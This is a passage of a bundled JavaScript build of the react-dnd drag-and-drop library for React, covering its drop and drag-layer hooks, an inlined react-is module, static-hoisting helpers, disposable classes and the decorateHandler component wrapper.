monitor); } } }; }, [monitor]); useIsomorphicLayoutEffect(function registerHandler() { var _registerTarget = registerTarget(spec.current.accept, handler, manager), _registerTarget2 = _slicedToArray$6(_registerTarget, 2), handlerId = _registerTarget2[0], unregister = _registerTarget2[1]; monitor.receiveHandlerId(handlerId); connector.receiveHandlerId(handlerId); return unregister; }, [monitor, connector]); } function _slicedToArray$7(arr, i) { return _arrayWithHoles$7(arr) || _iterableToArrayLimit$7(arr, i) || _unsupportedIterableToArray$7(arr, i) || _nonIterableRest$7(); } function _nonIterableRest$7() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$7(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$7(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$7(o, minLen); } function _arrayLikeToArray$7(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$7(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$7(arr) { if (Array.isArray(arr)) return arr; } /** * useDropTarget Hook * @param spec The drop target specification */ function useDrop(spec) { var specRef = React.useRef(spec); specRef.current = spec; invariant(spec.accept != null, 'accept must be defined'); var _useDropTargetMonitor = useDropTargetMonitor(), _useDropTargetMonitor2 = _slicedToArray$7(_useDropTargetMonitor, 2), monitor = _useDropTargetMonitor2[0], connector = _useDropTargetMonitor2[1]; useDropHandler(specRef, monitor, connector); var result = useMonitorOutput(monitor, specRef.current.collect || function () { return {}; }, function () { return connector.reconnect(); }); var connectDropTarget = React.useMemo(function () { return connector.hooks.dropTarget(); }, [connector]); useIsomorphicLayoutEffect(function () { connector.dropTargetOptions = spec.options || null; connector.reconnect(); }, [spec.options]); return [result, connectDropTarget]; } function _slicedToArray$8(arr, i) { return _arrayWithHoles$8(arr) || _iterableToArrayLimit$8(arr, i) || _unsupportedIterableToArray$8(arr, i) || _nonIterableRest$8(); } function _nonIterableRest$8() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$8(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$8(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$8(o, minLen); } function _arrayLikeToArray$8(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$8(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$8(arr) { if (Array.isArray(arr)) return arr; } /** * useDragLayer Hook * @param collector The property collector */ function useDragLayer(collect) { var dragDropManager = useDragDropManager(); var monitor = dragDropManager.getMonitor(); var _useCollector = useCollector(monitor, collect), _useCollector2 = _slicedToArray$8(_useCollector, 2), collected = _useCollector2[0], updateCollected = _useCollector2[1]; React.useEffect(function () { return monitor.subscribeToOffsetChange(updateCollected); }); React.useEffect(function () { return monitor.subscribeToStateChange(updateCollected); }); return collected; } function _typeof$4(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$4 = function _typeof(obj) { return typeof obj; }; } else { _typeof$4 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$4(obj); } // cheap lodash replacements function isFunction(input) { return typeof input === 'function'; } function noop() {// noop } function isObjectLike(input) { return _typeof$4(input) === 'object' && input !== null; } function isPlainObject$1(input) { if (!isObjectLike(input)) { return false; } if (Object.getPrototypeOf(input) === null) { return true; } var proto = input; while (Object.getPrototypeOf(proto) !== null) { proto = Object.getPrototypeOf(proto); } return Object.getPrototypeOf(input) === proto; } function getDecoratedComponent(instanceRef) { var currentRef = instanceRef.current; if (currentRef == null) { return null; } else if (currentRef.decoratedRef) { // go through the private field in decorateHandler to avoid the invariant hit return currentRef.decoratedRef.current; } else { return currentRef; } } function isClassComponent(Component) { return Component && Component.prototype && typeof Component.prototype.render === 'function'; } function isRefForwardingComponent(C) { var _item$$$typeof; var item = C; return (item === null || item === void 0 ? void 0 : (_item$$$typeof = item.$$typeof) === null || _item$$$typeof === void 0 ? void 0 : _item$$$typeof.toString()) === 'Symbol(react.forward_ref)'; } function isRefable(C) { return isClassComponent(C) || isRefForwardingComponent(C); } function checkDecoratorArguments(functionName, signature) { { for (var i = 0; i < (arguments.length <= 2 ? 0 : arguments.length - 2); i++) { var arg = i + 2 < 2 || arguments.length <= i + 2 ? undefined : arguments[i + 2]; if (arg && arg.prototype && arg.prototype.render) { // eslint-disable-next-line no-console console.error('You seem to be applying the arguments in the wrong order. ' + "It should be ".concat(functionName, "(").concat(signature, ")(Component), not the other way around. ") + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#you-seem-to-be-applying-the-arguments-in-the-wrong-order'); return; } } } } function createCommonjsModule(fn, basedir, module) { return module = { path: basedir, exports: {}, require: function (path, base) { return commonjsRequire(path, (base === undefined || base === null) ? module.path : base); } }, fn(module, module.exports), module.exports; } function commonjsRequire () { throw new Error('Dynamic requires are not currently supported by @rollup/plugin-commonjs'); } var reactIs_development = createCommonjsModule(function (module, exports) { { (function() { // The Symbol used to tag the ReactElement-like types. If there is no native Symbol // nor polyfill, then a plain number is used for performance. var hasSymbol = typeof Symbol === 'function' && Symbol.for; var REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for('react.element') : 0xeac7; var REACT_PORTAL_TYPE = hasSymbol ? Symbol.for('react.portal') : 0xeaca; var REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for('react.fragment') : 0xeacb; var REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for('react.strict_mode') : 0xeacc; var REACT_PROFILER_TYPE = hasSymbol ? Symbol.for('react.profiler') : 0xead2; var REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for('react.provider') : 0xeacd; var REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for('react.context') : 0xeace; // TODO: We don't use AsyncMode or ConcurrentMode anymore. They were temporary // (unstable) APIs that have been removed. Can we remove the symbols? var REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for('react.async_mode') : 0xeacf; var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for('react.concurrent_mode') : 0xeacf; var REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for('react.forward_ref') : 0xead0; var REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for('react.suspense') : 0xead1; var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for('react.suspense_list') : 0xead8; var REACT_MEMO_TYPE = hasSymbol ? Symbol.for('react.memo') : 0xead3; var REACT_LAZY_TYPE = hasSymbol ? Symbol.for('react.lazy') : 0xead4; var REACT_BLOCK_TYPE = hasSymbol ? Symbol.for('react.block') : 0xead9; var REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for('react.fundamental') : 0xead5; var REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for('react.responder') : 0xead6; var REACT_SCOPE_TYPE = hasSymbol ? Symbol.for('react.scope') : 0xead7; function isValidElementType(type) { return typeof type === 'string' || typeof type === 'function' || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill. type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === 'object' && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE); } function typeOf(object) { if (typeof object === 'object' && object !== null) { var $$typeof = object.$$typeof; switch ($$typeof) { case REACT_ELEMENT_TYPE: var type = object.type; switch (type) { case REACT_ASYNC_MODE_TYPE: case REACT_CONCURRENT_MODE_TYPE: case REACT_FRAGMENT_TYPE: case REACT_PROFILER_TYPE: case REACT_STRICT_MODE_TYPE: case REACT_SUSPENSE_TYPE: return type; default: var $$typeofType = type && type.$$typeof; switch ($$typeofType) { case REACT_CONTEXT_TYPE: case REACT_FORWARD_REF_TYPE: case REACT_LAZY_TYPE: case REACT_MEMO_TYPE: case REACT_PROVIDER_TYPE: return $$typeofType; default: return $$typeof; } } case REACT_PORTAL_TYPE: return $$typeof; } } return undefined; } // AsyncMode is deprecated along with isAsyncMode var AsyncMode = REACT_ASYNC_MODE_TYPE; var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE; var ContextConsumer = REACT_CONTEXT_TYPE; var ContextProvider = REACT_PROVIDER_TYPE; var Element = REACT_ELEMENT_TYPE; var ForwardRef = REACT_FORWARD_REF_TYPE; var Fragment = REACT_FRAGMENT_TYPE; var Lazy = REACT_LAZY_TYPE; var Memo = REACT_MEMO_TYPE; var Portal = REACT_PORTAL_TYPE; var Profiler = REACT_PROFILER_TYPE; var StrictMode = REACT_STRICT_MODE_TYPE; var Suspense = REACT_SUSPENSE_TYPE; var hasWarnedAboutDeprecatedIsAsyncMode = false; // AsyncMode should be deprecated function isAsyncMode(object) { { if (!hasWarnedAboutDeprecatedIsAsyncMode) { hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.'); } } return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE; } function isConcurrentMode(object) { return typeOf(object) === REACT_CONCURRENT_MODE_TYPE; } function isContextConsumer(object) { return typeOf(object) === REACT_CONTEXT_TYPE; } function isContextProvider(object) { return typeOf(object) === REACT_PROVIDER_TYPE; } function isElement(object) { return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE; } function isForwardRef(object) { return typeOf(object) === REACT_FORWARD_REF_TYPE; } function isFragment(object) { return typeOf(object) === REACT_FRAGMENT_TYPE; } function isLazy(object) { return typeOf(object) === REACT_LAZY_TYPE; } function isMemo(object) { return typeOf(object) === REACT_MEMO_TYPE; } function isPortal(object) { return typeOf(object) === REACT_PORTAL_TYPE; } function isProfiler(object) { return typeOf(object) === REACT_PROFILER_TYPE; } function isStrictMode(object) { return typeOf(object) === REACT_STRICT_MODE_TYPE; } function isSuspense(object) { return typeOf(object) === REACT_SUSPENSE_TYPE; } exports.AsyncMode = AsyncMode; exports.ConcurrentMode = ConcurrentMode; exports.ContextConsumer = ContextConsumer; exports.ContextProvider = ContextProvider; exports.Element = Element; exports.ForwardRef = ForwardRef; exports.Fragment = Fragment; exports.Lazy = Lazy; exports.Memo = Memo; exports.Portal = Portal; exports.Profiler = Profiler; exports.StrictMode = StrictMode; exports.Suspense = Suspense; exports.isAsyncMode = isAsyncMode; exports.isConcurrentMode = isConcurrentMode; exports.isContextConsumer = isContextConsumer; exports.isContextProvider = isContextProvider; exports.isElement = isElement; exports.isForwardRef = isForwardRef; exports.isFragment = isFragment; exports.isLazy = isLazy; exports.isMemo = isMemo; exports.isPortal = isPortal; exports.isProfiler = isProfiler; exports.isStrictMode = isStrictMode; exports.isSuspense = isSuspense; exports.isValidElementType = isValidElementType; exports.typeOf = typeOf; })(); } }); var reactIs_development_1 = reactIs_development.AsyncMode; var reactIs_development_2 = reactIs_development.ConcurrentMode; var reactIs_development_3 = reactIs_development.ContextConsumer; var reactIs_development_4 = reactIs_development.ContextProvider; var reactIs_development_5 = reactIs_development.Element; var reactIs_development_6 = reactIs_development.ForwardRef; var reactIs_development_7 = reactIs_development.Fragment; var reactIs_development_8 = reactIs_development.Lazy; var reactIs_development_9 = reactIs_development.Memo; var reactIs_development_10 = reactIs_development.Portal; var reactIs_development_11 = reactIs_development.Profiler; var reactIs_development_12 = reactIs_development.StrictMode; var reactIs_development_13 = reactIs_development.Suspense; var reactIs_development_14 = reactIs_development.isAsyncMode; var reactIs_development_15 = reactIs_development.isConcurrentMode; var reactIs_development_16 = reactIs_development.isContextConsumer; var reactIs_development_17 = reactIs_development.isContextProvider; var reactIs_development_18 = reactIs_development.isElement; var reactIs_development_19 = reactIs_development.isForwardRef; var reactIs_development_20 = reactIs_development.isFragment; var reactIs_development_21 = reactIs_development.isLazy; var reactIs_development_22 = reactIs_development.isMemo; var reactIs_development_23 = reactIs_development.isPortal; var reactIs_development_24 = reactIs_development.isProfiler; var reactIs_development_25 = reactIs_development.isStrictMode; var reactIs_development_26 = reactIs_development.isSuspense; var reactIs_development_27 = reactIs_development.isValidElementType; var reactIs_development_28 = reactIs_development.typeOf; var reactIs = createCommonjsModule(function (module) { { module.exports = reactIs_development; } }); /** * Copyright 2015, Yahoo! Inc. * Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms. */ var REACT_STATICS = { childContextTypes: true, contextType: true, contextTypes: true, defaultProps: true, displayName: true, getDefaultProps: true, getDerivedStateFromError: true, getDerivedStateFromProps: true, mixins: true, propTypes: true, type: true }; var KNOWN_STATICS = { name: true, length: true, prototype: true, caller: true, callee: true, arguments: true, arity: true }; var FORWARD_REF_STATICS = { '$$typeof': true, render: true, defaultProps: true, displayName: true, propTypes: true }; var MEMO_STATICS = { '$$typeof': true, compare: true, defaultProps: true, displayName: true, propTypes: true, type: true }; var TYPE_STATICS = {}; TYPE_STATICS[reactIs.ForwardRef] = FORWARD_REF_STATICS; TYPE_STATICS[reactIs.Memo] = MEMO_STATICS; function getStatics(component) { // React v16.11 and below if (reactIs.isMemo(component)) { return MEMO_STATICS; } // React v16.12 and above return TYPE_STATICS[component['$$typeof']] || REACT_STATICS; } var defineProperty = Object.defineProperty; var getOwnPropertyNames = Object.getOwnPropertyNames; var getOwnPropertySymbols = Object.getOwnPropertySymbols; var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; var getPrototypeOf = Object.getPrototypeOf; var objectPrototype = Object.prototype; function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) { if (typeof sourceComponent !== 'string') { // don't hoist over string (html) components if (objectPrototype) { var inheritedComponent = getPrototypeOf(sourceComponent); if (inheritedComponent && inheritedComponent !== objectPrototype) { hoistNonReactStatics(targetComponent, inheritedComponent, blacklist); } } var keys = getOwnPropertyNames(sourceComponent); if (getOwnPropertySymbols) { keys = keys.concat(getOwnPropertySymbols(sourceComponent)); } var targetStatics = getStatics(targetComponent); var sourceStatics = getStatics(sourceComponent); for (var i = 0; i < keys.length; ++i) { var key = keys[i]; if (!KNOWN_STATICS[key] && !(blacklist && blacklist[key]) && !(sourceStatics && sourceStatics[key]) && !(targetStatics && targetStatics[key])) { var descriptor = getOwnPropertyDescriptor(sourceComponent, key); try { // Avoid failures from read-only properties defineProperty(targetComponent, key, descriptor); } catch (e) {} } } } return targetComponent; } var hoistNonReactStatics_cjs = hoistNonReactStatics; function _classCallCheck$7(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$7(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$7(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$7(Constructor.prototype, protoProps); if (staticProps) _defineProperties$7(Constructor, staticProps); return Constructor; } /** * Provides a set of static methods for creating Disposables. * @param {Function} action Action to run during the first call to dispose. * The action is guaranteed to be run at most once. */ var Disposable = /** @class */ function () { var Disposable = /*#__PURE__*/function () { function Disposable(action) { _classCallCheck$7(this, Disposable); this.isDisposed = false; this.action = isFunction(action) ? action : noop; } /** * Validates whether the given object is a disposable * @param {Object} Object to test whether it has a dispose method * @returns {Boolean} true if a disposable object, else false. */ _createClass$7(Disposable, [{ key: "dispose", /** Performs the task of cleaning up resources. */ value: function dispose() { if (!this.isDisposed) { this.action(); this.isDisposed = true; } } }], [{ key: "isDisposable", value: function isDisposable(d) { return Boolean(d && isFunction(d.dispose)); } }, { key: "_fixup", value: function _fixup(result) { return Disposable.isDisposable(result) ? result : Disposable.empty; } /** * Creates a disposable object that invokes the specified action when disposed. * @param {Function} dispose Action to run during the first call to dispose. * The action is guaranteed to be run at most once. * @return {Disposable} The disposable object that runs the given action upon disposal. */ }, { key: "create", value: function create(action) { return new Disposable(action); } }]); return Disposable; }(); /** * Gets the disposable that does nothing when disposed. */ Disposable.empty = { dispose: noop }; return Disposable; }(); /** * Represents a group of disposable resources that are disposed together. * @constructor */ var CompositeDisposable = /*#__PURE__*/function () { function CompositeDisposable() { _classCallCheck$7(this, CompositeDisposable); this.isDisposed = false; for (var _len = arguments.length, disposables = new Array(_len), _key = 0; _key < _len; _key++) { disposables[_key] = arguments[_key]; } this.disposables = disposables; } /** * Adds a disposable to the CompositeDisposable or disposes the disposable if the CompositeDisposable is disposed. * @param {Any} item Disposable to add. */ _createClass$7(CompositeDisposable, [{ key: "add", value: function add(item) { if (this.isDisposed) { item.dispose(); } else { this.disposables.push(item); } } /** * Removes and disposes the first occurrence of a disposable from the CompositeDisposable. * @param {Any} item Disposable to remove. * @returns {Boolean} true if found; false otherwise. */ }, { key: "remove", value: function remove(item) { var shouldDispose = false; if (!this.isDisposed) { var idx = this.disposables.indexOf(item); if (idx !== -1) { shouldDispose = true; this.disposables.splice(idx, 1); item.dispose(); } } return shouldDispose; } /** * Disposes all disposables in the group and removes them from the group but * does not dispose the CompositeDisposable. */ }, { key: "clear", value: function clear() { if (!this.isDisposed) { var len = this.disposables.length; var currentDisposables = new Array(len); for (var i = 0; i < len; i++) { currentDisposables[i] = this.disposables[i]; } this.disposables = []; for (var _i = 0; _i < len; _i++) { currentDisposables[_i].dispose(); } } } /** * Disposes all disposables in the group and removes them from the group. */ }, { key: "dispose", value: function dispose() { if (!this.isDisposed) { this.isDisposed = true; var len = this.disposables.length; var currentDisposables = new Array(len); for (var i = 0; i < len; i++) { currentDisposables[i] = this.disposables[i]; } this.disposables = []; for (var _i2 = 0; _i2 < len; _i2++) { currentDisposables[_i2].dispose(); } } } }]); return CompositeDisposable; }(); /** * Represents a disposable resource whose underlying disposable resource can * be replaced by another disposable resource, causing automatic disposal of * the previous underlying disposable resource. */ var SerialDisposable = /*#__PURE__*/function () { function SerialDisposable() { _classCallCheck$7(this, SerialDisposable); this.isDisposed = false; } /** * Gets the underlying disposable. * @returns {Any} the underlying disposable. */ _createClass$7(SerialDisposable, [{ key: "getDisposable", value: function getDisposable() { return this.current; } }, { key: "setDisposable", value: function setDisposable(value) { var shouldDispose = this.isDisposed; if (!shouldDispose) { var old = this.current; this.current = value; if (old) { old.dispose(); } } if (shouldDispose && value) { value.dispose(); } } /** Performs the task of cleaning up resources. */ }, { key: "dispose", value: function dispose() { if (!this.isDisposed) { this.isDisposed = true; var old = this.current; this.current = undefined; if (old) { old.dispose(); } } } }]); return SerialDisposable; }(); function _typeof$5(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$5 = function _typeof(obj) { return typeof obj; }; } else { _typeof$5 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$5(obj); } function _slicedToArray$9(arr, i) { return _arrayWithHoles$9(arr) || _iterableToArrayLimit$9(arr, i) || _unsupportedIterableToArray$9(arr, i) || _nonIterableRest$9(); } function _nonIterableRest$9() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$9(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$9(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$9(o, minLen); } function _arrayLikeToArray$9(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$9(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$9(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck$8(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$8(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$8(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$8(Constructor.prototype, protoProps); if (staticProps) _defineProperties$8(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _possibleConstructorReturn(self, call) { if (call && (_typeof$5(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function decorateHandler(_ref) { var DecoratedComponent = _ref.DecoratedComponent, createHandler = _ref.createHandler, createMonitor = _ref.createMonitor, createConnector = _ref.createConnector, registerHandler = _ref.registerHandler, containerDisplayName = _ref.containerDisplayName, getType = _ref.getType, collect = _ref.collect, options = _ref.options; var _options$arePropsEqua = options.arePropsEqual, arePropsEqual = _options$arePropsEqua === void 0 ? shallowEqual : _options$arePropsEqua; var Decorated = DecoratedComponent; var displayName = DecoratedComponent.displayName || DecoratedComponent.name || 'Component'; var DragDropContainer = /** @class */ function () { var DragDropContainer = /*#__PURE__*/function (_React$Component) { _inherits(DragDropContainer, _React$Component); var _super = _createSuper(DragDropContainer); function DragDropContainer(props) { var _this; _classCallCheck$8(this, DragDropContainer); _this = _super.call(this, props); _this.decoratedRef = React.createRef(); _this.handleChange = function () { var nextState = _this.getCurrentState(); if (!shallowEqual(nextState, _this.state)) { _this.setState(nextState); } }; _this.disposable = new SerialDisposable(); _this.receiveProps(props); _this.dispose(); return _this; } _createClass$8(DragDropContainer, [{ key: "getHandlerId", value: function getHandlerId() { return this.handlerId; } }, { key: "getDecoratedComponentInstance", value: function getDecoratedComponentInstance() { invariant(this.decoratedRef.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()'); return this.decoratedRef.current; } }, { key: "shouldComponentUpdate", value: function shouldComponentUpdate(nextProps, nextState) { return !arePropsEqual(nextProps, this.props) || !shallowEqual(nextState, this.state); } }, { key: "componentDidMount", value: function componentDidMount() { this.disposable = new SerialDisposable(); this.currentType = undefined; this.receiveProps(this.props); this.handleChange(); } }, { key: "componentDidUpdate", value: function componentDidUpdate(prevProps) { if (!arePropsEqual(this.props, prevProps)) { this.receiveProps(this.props); this.handleChange(); } } }, { key: "componentWillUnmount", value: function componentWillUnmount() { this.dispose(); } }, { key: "receiveProps", value: function receiveProps(props) { if (!this.handler) { return; } this.handler.receiveProps(props); this.receiveType(getType(props)); } }, { key: "receiveType", value: function receiveType(type) { if (!this.handlerMonitor || !this.manager || !this.handlerConnector) { return; } if (type === this.currentType) { return; } this.currentType = type; var _registerHandler = registerHandler(type, this.handler, this.manager), _registerHandler2 = _slicedToArray$9(_registerHandler, 2), handlerId = _registerHandler2[0], unregister = _registerHandler2[1]; this.handlerId = handlerId; this.handlerMonitor.receiveHandlerId(handlerId); this.handlerConnector.receiveHandlerId(handlerId); var globalMonitor = this.manager.getMonitor(); var unsubscribe = globalMonitor.subscribeToStateChange(this.handleChange, { handlerIds: [handlerId] }); this.disposable.setDisposable(new CompositeDisposable(new Disposable(unsubscribe), new Disposable(unregister))); } }, { key: "dispose", value: function dispose() { this.disposable.dispose(); if (this.handlerConnector) { this.handlerConnector.receiveHandlerId(null); } } }, { key: "getCurrentState", value: function getCurrentState() { if (!this.handlerConnector) { return {}; } var nextState = collect(this.handlerConnector.hooks, this.handlerMonitor, this.props); { invariant(isPlainObject$1(nextState), 'Expected `collect` specified as the second argument to ' + '%s for %s to return a plain object of props to inject. ' + 'Instead, received %s.', containerDisplayName, displayName, nextState); } return nextState; } }, { key: "render", value: function render() { var _this2 = this; return React.createElement(DndContext.Consumer, null, function (_ref2) { var dragDropManager = _ref2.dragDropManager; _this2.receiveDragDropManager(dragDropManager); if (typeof requestAnimationFrame !== 'undefined') { requestAnimationFrame(function () { var _this2$handlerConnect; return (_this2$handlerConnect = _this2.handlerConnector) === null || _this2$handlerConnect === void 0 ? void 0 : _this2$handlerConnect.reconnect(); }); } return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.getCurrentState(), { // NOTE: if Decorated is a Function Component, decoratedRef will not be populated unless it's a refforwarding component. ref: isRefable(Decorated) ? _this2.decoratedRef : null })); }); } }, { key: "receiveDragDropManager", value: function receiveDragDropManager(dragDropManager) { if (this.manager !== undefined) { return; } invariant(dragDropManager !== undefined, 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName); if (dragDropManager === undefined) { return; } this.manager = dragDropManager; this.handlerMonitor = createMonitor(dragDropManager); this.handlerConnector = createConnector(dragDropManager.getBackend()); this.handler = createHandler(this.handlerMonitor, this.decoratedRef); } }]); return DragDropContainer; }(React.Component); DragDropContainer.DecoratedComponent = DecoratedComponent; DragDropContainer.displayName = "".concat(containerDisplayName, "(").concat(displayName, ")"); return DragDropContainer; }(); return hoistNonReactStatics_cjs(DragDropContainer, DecoratedComponent); } function _typeof$6(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$6 = function _typeof(obj) { return typeof obj; }; } else { _typeof$6 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$6(obj); } function isValidType(type, allowArray) { return typeof type === 'string' || _typeof$6(type) === 'symbol' || !!allowArray && Array.isArray(type) && type.every(function (t) { return isValidType(t, false); }); } function _classCallCheck$9(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$9(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function 